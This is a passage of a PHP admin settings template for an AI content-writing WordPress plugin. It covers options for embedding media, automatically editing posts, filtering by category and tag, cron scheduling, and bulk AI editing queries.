'aiomatic-automatic-ai-content-writer');?></option> <option value="preppend"<?php if ($audio_location == "preppend") { echo " selected"; } ?>><?php echo esc_html__("Prepend To The Beginning", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideWideAudio"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a textual template you want to prepend the audio/video embed. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend Audio/Video:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[prep_audio]" placeholder="HTML to prepend audio/video"><?php echo esc_textarea($prep_audio); ?></textarea> </div> </td></tr> <tr class="hideWideAudio"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__('Select where you want to copy audio/video files. You can copy the files also to a cloud storage, using this extension: ', 'aiomatic-automatic-ai-content-writer') . '<a href="https://coderevolution.ro/product/aiomatic-extension-amazon-s3-storage-for-images/" target="_blank">https://coderevolution.ro/product/aiomatic-extension-amazon-s3-storage-for-images/</a>'; ?> </div> </div> <b><?php echo esc_html__("Copy Audio/Video Files:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select name="aiomatic_Spinner_Settings[copy_location]"> <option value="local"<?php if ($copy_location == "local") { echo " selected"; } ?>><?php echo esc_html__("Locally To Server", 'aiomatic-automatic-ai-content-writer');?></option> <?php $amazon_s3_active = true; if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $amazon_s3_active = false; } ?> <option value="amazon"<?php if ($copy_location == "amazon") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >Amazon S3</option> <option value="cloudflare"<?php if ($copy_location == "cloudflare") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >CloudFlare R2</option> <option value="digital"<?php if ($copy_location == "digital") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >Digital Ocean Spaces</option> <option value="wasabi"<?php if ($copy_location == "wasabi") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >Wasabi</option> </select> </div> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Extra Features:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to change post status after editing posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Change Post Status After Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="change_status" name="aiomatic_Spinner_Settings[change_status]" class="cr_width_full"> <option value="no" <?php if ($change_status == 'no' || $change_status == '') { echo " selected"; } ?> ><?php echo esc_html__("No Change", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pending"<?php if ($change_status == 'pending') { echo " selected"; } ?>><?php echo esc_html__("Pending", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"<?php if ($change_status == 'draft') { echo " selected"; } ?>><?php echo esc_html__("Draft", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish"<?php if ($change_status == 'publish') { echo " selected"; } ?>><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"<?php if ($change_status == 'private') { echo " selected"; } ?>><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"<?php if ($change_status == 'trash') { echo " selected"; } ?>><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> </table> </div> <div id="tab-3" class="tab-content"> <table class="widefat"> <tr> <td> <h1><span class="gs-sub-heading"><b><?php echo esc_html__("Enabled Posts Automatic Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enable or disable automatic post modifications every time you publish a new post (manually or automatically).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h1> </td> <td> <div class="slideThree"> <input class="input-checkbox-ai" onchange="toggleMain();" type="checkbox" id="aiomatic_spinning" name="aiomatic_Spinner_Settings[aiomatic_spinning]"<?php if ($aiomatic_spinning == 'on') echo ' checked '; ?>> <label for="aiomatic_spinning"></label> </div> </td> </tr> </table> <hr/> <table class="hideAuto widefat"> <tr><td colspan="2"> <?php echo esc_html__("INFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above!", 'aiomatic-automatic-ai-content-writer'); ?> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Posts Automatic Editing Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select when do you want to automatically process posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatically Process Posts When They Are:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <select id="process_event" name="aiomatic_Spinner_Settings[process_event]"> <option value="publish"<?php if ($process_event == "publish") { echo " selected"; } ?>><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"<?php if ($process_event == "draft") { echo " selected"; } ?>><?php echo esc_html__("Drafted", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pending"<?php if ($process_event == "pending") { echo " selected"; } ?>><?php echo esc_html__("Pending", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want delay automatic editing of the posted article with this amount of seconds from post publish? This will create a single cron job for each post (cron is a requirement for this to function). If you leave this field blank, posts will be automatically spun on post publish.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Delay Article Editing By (Seconds):", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="1" id="delay_post" name="aiomatic_Spinner_Settings[delay_post]" class="cr_450" value="<?php echo esc_html($delay_post);?>" placeholder="Delay editing by X seconds"> </td></tr><tr class="hidethis"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will allow you to select if you want to run posting in async mode. This means that each time you publish a post, the plugin will try to execute it's task in the background - it will no longer block new post posting, while it finishes it's job.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use Async Posting Method:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="run_background" name="aiomatic_Spinner_Settings[run_background]"<?php if ($run_background == 'on') echo ' checked '; ?>> </td></tr> <tr><td coslpan="2"> <h2><?php echo esc_html__("Posts Automatic Editing Filtering:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable automatically editing of WordPress 'posts'?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Editing of 'Posts':", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="post_posts" name="aiomatic_Spinner_Settings[post_posts]"<?php if ($post_posts == 'on') echo ' checked '; ?>> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable automatically editing of WordPress 'pages'?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Editing of 'Pages':", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="post_pages" name="aiomatic_Spinner_Settings[post_pages]"<?php if ($post_pages == 'on') echo ' checked '; ?>> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable automatically editing of WordPress 'custom post types'?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Editing of 'Custom Post Types':", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="post_custom" onchange="toggleCustom();" name="aiomatic_Spinner_Settings[post_custom]"<?php if ($post_custom == 'on') echo ' checked '; ?>> </td></tr><tr class="hideCustom"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you checked the above checkbox to disable processing of custom post types, you can define here a comma separated list of posts types which should still be process (excepted from skipping).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excepting This Comma Separated List Of Custom Post Types:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="text" id="except_type" name="aiomatic_Spinner_Settings[except_type]" value="<?php echo esc_html($except_type);?>" placeholder="Excepted custom post types"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable automatically editing of WordPress categories?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Editing of Selected Categories:", 'aiomatic-automatic-ai-content-writer');?></b><br/> <a onclick="toggleCats()" class="cr_pointer"><?php echo esc_html__("Show/Hide Categories List", 'aiomatic-automatic-ai-content-writer');?></a> </td><td> <br/> <div id="hideCats" class="hideCats"> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <div> <label> <input <?php if (isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) { checked(true, in_array($category->term_id, $aiomatic_Spinner_Settings['disabled_categories'])); } ?> type="checkbox" name="aiomatic_Spinner_Settings[disabled_categories][]" value="<?php echo esc_html($category->term_id); ?>" /> <span><?php echo esc_html(sanitize_text_field($category->name)); ?></span> </label> </div> <?php } ?> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the tags for which you want to disable editing. You can enter more tags, separated by comma. Ex: cars, vehicles, red, luxury. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Editing of Selected Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[disable_tags]" placeholder="Please insert the tags for which you want to disable editing"><?php echo esc_textarea($disable_tags); ?></textarea> </div> </td></tr> </table> </div> <div id="tab-4" class="tab-content"> <table class="widefat"> <tr> <td colspan="3"> <h2> <?php echo esc_html__("Existing Content Editor:", 'aiomatic-automatic-ai-content-writer');?></h3> <div class="crf_bord cr_color_red cr_width_full"><?php echo esc_html__('Bulk post editing might consume a large number of AI model tokens to complete! Be sure you check', 'aiomatic-automatic-ai-content-writer') . ' <a href="https://openai.com/pricing" target="_blank">' . esc_html__('token pricing', 'aiomatic-automatic-ai-content-writer') . '</a> ' . esc_html__('before you continue. You can filter which posts you need edited. Doing a general site backup is also recommended before doing bulk content editing.', 'aiomatic-automatic-ai-content-writer');?></div> </td> </tr> <tr><td colspan="2"> <?php echo esc_html__("INFO: You can change the way the posts are edited by changing settings in the 'Editing Templates and Options' tab from above! Also, be sure to save settings before running bulk post editing!", 'aiomatic-automatic-ai-content-writer'); ?> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run manual post editing, now? Please check configuration from below before clicking 'Run Post Editing'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manually Run Post Editing Now:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_100 cr_center"> <img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" class="cr_hidden cr_align_middle" title="status"> </td> <td> <div class="codemainfzr"> <select id="actions" class="actions" name="aiomatic_bulk_actions" onchange="actionsChangedManual(this.value);" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run"><?php echo esc_html__("Run Post Editing", 'aiomatic-automatic-ai-content-writer');?></option> <option value="test"><?php echo esc_html__("Simulate Post Editing", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <td colspan="2"> <div id="results_shower"> </div> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the way you want to schedule automatic editing of existing posts from your site, using the below settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Editing Of Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td colspan="2"> <select id="auto_edit" class="cr_width_full" onchange="aiomatic_edit_changed();" name="aiomatic_Spinner_Settings[auto_edit]" > <option value="disabled"<?php if ($auto_edit == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="wp"<?php if ($auto_edit == "wp") { echo " selected"; } ?>><?php echo esc_html__("WordPress Cron Job", 'aiomatic-automatic-ai-content-writer');?></option> <option value="external"<?php if ($auto_edit == "external") { echo " selected"; } ?>><?php echo esc_html__("External Cron Job", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidewp"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose how often you want to automatically check for old posts. This will change the cron scheduling time.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Plugin Autorun Interval:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td colspan="2"> <div > <select class="cr_width_full" id="auto_run_interval" name="aiomatic_Spinner_Settings[auto_run_interval]" > <option value="No"<?php if ($auto_run_interval == "No") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="monthly"<?php if ($auto_run_interval == "monthly") { echo " selected"; } ?>><?php echo esc_html__("Once a month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="weekly"<?php if ($auto_run_interval == "weekly") { echo " selected"; } ?>><?php echo esc_html__("Once a week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="daily"<?php if ($auto_run_interval == "daily") { echo " selected"; } ?>><?php echo esc_html__("Once a day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="twicedaily"<?php if ($auto_run_interval == "twicedaily") { echo " selected"; } ?>><?php echo esc_html__("Twice a day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hourly"<?php if ($auto_run_interval == "hourly") { echo " selected"; } ?>><?php echo esc_html__("Once an hour", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_cron_half"<?php if ($auto_run_interval == "aiomatic_cron_half") { echo " selected"; } ?>><?php echo esc_html__("Once 30 minutes", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_cron_sfert"<?php if ($auto_run_interval == "aiomatic_cron_sfert") { echo " selected"; } ?>><?php echo esc_html__("Once 15 minutes", 'aiomatic-automatic-ai-content-writer');?></option> <option value="aiomatic_cron_ten"<?php if ($auto_run_interval == "aiomatic_cron_ten") { echo " selected"; } ?>><?php echo esc_html__("Once 10 minutes", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideexternal"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a secret word that will be used when you run the post editing part of the plugin manually by URL/by cron. See details about this below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Secret Word Used For Cron Running (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td colspan="2"> <input type="text" id="secret_word" name="aiomatic_Spinner_Settings[secret_word]" value="<?php echo esc_html($secret_word);?>" placeholder="<?php echo esc_html__("Input a secret word", 'aiomatic-automatic-ai-content-writer');?>"> </div> </td> </tr> <tr class="hideexternal"> <td colspan="3"> <div> <br/><b><?php echo esc_html__("If you want to schedule the cron event manually in your server, to allow recurring editing of existing posts on your site, you should schedule this address:", 'aiomatic-automatic-ai-content-writer');?> <span class="cr_red"><?php if($secret_word != '') { echo get_site_url() . '/?run_aiomatic_edit=' . urlencode($secret_word);} else { echo esc_html__('You must enter a secret word above, to use this feature.', 'aiomatic-automatic-ai-content-writer'); }?></span><br/><?php if($secret_word != '') { echo esc_html__("Example:", 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_red">15,45****wget -q -O /dev/null ' . get_site_url() . '/?run_aiomatic_edit=' . urlencode($secret_word) . '</span>';}?></b> </div> <br/><br/> </td> </tr> </table> <br/> <table class="widefat"> <tr> <td colspan="2"> <h2> <?php echo esc_html__("Bulk AI Editing Settings:", 'aiomatic-automatic-ai-content-writer');?></h3> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of posts to be processed at each run.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Posts To Process:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="max_nr" step="1" min="1" placeholder="Maximum Post Count" name="aiomatic_Spinner_Settings[max_nr]" value="<?php echo esc_html($max_nr);?>"/> </div> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a delay to wait after each request. This is useful for rate limiting purposes. This is optional. To disable this feature, leave it blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Delay Between Requests (Milliseconds):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="delay_request" step="1" min="1" placeholder="Delay (ms)" name="aiomatic_Spinner_Settings[delay_request]" value="<?php echo esc_html($delay_request);?>"/> </div> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you don't want to process the same post twice using bulk post editing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Process Same Post Twice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" onchange="sameChanged();" id="no_twice" name="aiomatic_Spinner_Settings[no_twice]"<?php if ($no_twice == 'on') echo ' checked '; ?>> </div> </td> </tr> <tr class="hideField"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the custom field which will be set to posts which were already edited. Changing this can be useful if you want to reedit already edited posts. The default is: aiomatic_published", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Duplicate Checking Custom Field Name (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="text" id="custom_name" name="aiomatic_Spinner_Settings[custom_name]" value="<?php echo esc_html($custom_name);?>" placeholder="Optional"> </div> </td> </tr> <tr> <td> <hr/> </td> <td> <hr/> </td> </tr> <tr> <td colspan="2"> <h3><?php echo esc_html__("Which Posts Should Bulk AI Editing Affect:", 'aiomatic-automatic-ai-content-writer');?></h3> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. -1,-2,-3]", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Author IDs:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="author_id" name="aiomatic_Spinner_Settings[author_id]" value="<?php echo esc_html($author_id);?>" placeholder="Author IDs"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - use 'user_nicename' (NOT name)", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Author Names:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="author_name" name="aiomatic_Spinner_Settings[author_name]" value="<?php echo esc_html($author_name);?>" placeholder="Author names"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string,string,string) - use category slugs instead of names. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Category Names:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="category_name" name="aiomatic_Spinner_Settings[category_name]" value="<?php echo esc_html($category_name);?>" placeholder="Category names"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string,string,string) - use tag slugs instead of names. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Tag Names:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="tag_name" name="aiomatic_Spinner_Settings[tag_name]" value="<?php echo esc_html($tag_name);?>" placeholder="Tag names"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Comma separated list of post IDs to edit.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post IDs:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_id" name="aiomatic_Spinner_Settings[post_id]" value="<?php echo esc_html($post_id);?>" placeholder="Post ID"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - use post slug.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_name" name="aiomatic_Spinner_Settings[post_name]" value="<?php echo esc_html($post_name);?>" placeholder="Post name"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - use page id.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Page ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="page_id" name="aiomatic_Spinner_Settings[page_id]" value="<?php echo esc_html($page_id);?>" placeholder="Page ID"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - use page slug.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Page Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="pagename" name="aiomatic_Spinner_Settings[pagename]" value="<?php echo esc_html($pagename);?>" placeholder="Page name"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - use page id. Return just the child Pages.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_parent" name="aiomatic_Spinner_Settings[post_parent]" value="<?php echo esc_html($post_parent);?>" placeholder="Post parent ID"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string,string) - The post types to return. Valid values are: post, page, revision, attachment, other-custom-post-types. To match any post type enter the keyword: any. The default is post (if left empty).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="type_post" name="aiomatic_Spinner_Settings[type_post]" value="<?php echo esc_html($type_post);?>" placeholder="Post type"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - The post status to return. Valid values are: publish, pending, draft, auto-draft, future, private, inherit, trash, other-custom-post-statuses", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="post_status" name="aiomatic_Spinner_Settings[post_status]" value="<?php echo esc_html($post_status);?>" placeholder="Post status"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Posts To Change:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-1" step="1" id="max_posts" name="aiomatic_Spinner_Settings[max_posts]" value="<?php echo esc_html($max_posts);?>" placeholder="Max posts"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(int) - number of post to displace or pass over.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Offset:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-1" step="1" id="search_offset" name="aiomatic_Spinner_Settings[search_offset]" value="<?php echo esc_html($search_offset);?>" placeholder="Post offset"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Custom field key.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Meta Key Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="meta_name" name="aiomatic_Spinner_Settings[meta_name]" value="<?php echo esc_html($meta_name);?>" placeholder="Meta Key Name"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("(string) - Custom field value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Meta Key Value:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="meta_value" name="aiomatic_Spinner_Settings[meta_value]" value="<?php echo esc_html($meta_value);?>" placeholder="Meta Key Value"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "(string) - Passes along the query string variable from a search.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ) ); ?> </div> </div> <b><?php echo esc_html__("Search Query:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="search_query" 